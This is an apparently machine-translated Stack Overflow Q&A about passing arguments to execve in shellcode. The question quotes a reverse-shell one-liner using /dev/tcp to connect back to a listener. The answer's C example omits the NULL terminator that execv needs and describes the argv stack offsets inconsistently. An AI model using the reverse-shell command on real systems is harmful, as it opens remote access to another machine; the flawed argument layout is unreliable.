将参数传递给shellcode中的execve程序

时间:2013-04-18 19:21:48

标签: assembly shellcode execve

我正在学习汇编和编写shellcode。我有一个关于execve的问题,并将参数传递给它将执行的程序。

我有工作代码来执行bash shell但不确定execve的输入格式是否要传递其他参数。我也可以做stdin stdout重定向吗?我想用这种类型的命令行创建一个反向tcp连接:

/bin/bash -i >& /dev/tcp/192.168.1.4/1234 0>&1

参数是否应该用NULL分隔?我得到它来执行一个shell,但它没有连接回监听nc。

我知道这是一种不寻常的做法,但我只想尝试不同的东西: - )

干杯

1 个答案:

答案 0 :(得分:1)

了解如何操作的最佳方法是编译示例并在程序集级别停止。让我们举个例子:

#include <unistd.h>

int
main ()
{
  char *program = "/bin/ls";
  char *args[3] = {"/bin/ls", "-l", "./"};

  execv(program, args);

  return 0;
}

使用gcc -Wall -Wextra -S -o myexec.s myexec.c进行编译时,您可以阅读myexec.s

        .file   "myexec.c"
        .section        .rodata
.LC0:
        .string "/bin/ls"
.LC1:
        .string "-l"
.LC2:
        .string "./"
        .text
        .globl  main
        .type   main, @function
main:
.LFB0:
        pushq   %rbp
        movq    %rsp, %rbp
        subq    $32, %rsp
        movq    $.LC0, -8(%rbp)
        movq    $.LC0, -32(%rbp)
        movq    $.LC1, -24(%rbp)
        movq    $.LC2, -16(%rbp)
        leaq    -32(%rbp), %rdx
        movq    -8(%rbp), %rax
        movq    %rdx, %rsi
        movq    %rax, %rdi
        call    execv
        movl    $0, %eax
        leave
        ret

因此,命令行的参数列表由一个字符串列表组成,第一个参数是可执行文件的路径(-8(rbp)),然后每个参数都通过指向它的指针传递字符串:argv[0] = -16(%rbp)argv[1] = -24(%rbp)argv[2] = -32(%rbp),...等等。

因此,您只需要拥有每个字符串的地址,并在调用execv之前将其(以正确的顺序)堆叠到堆栈上。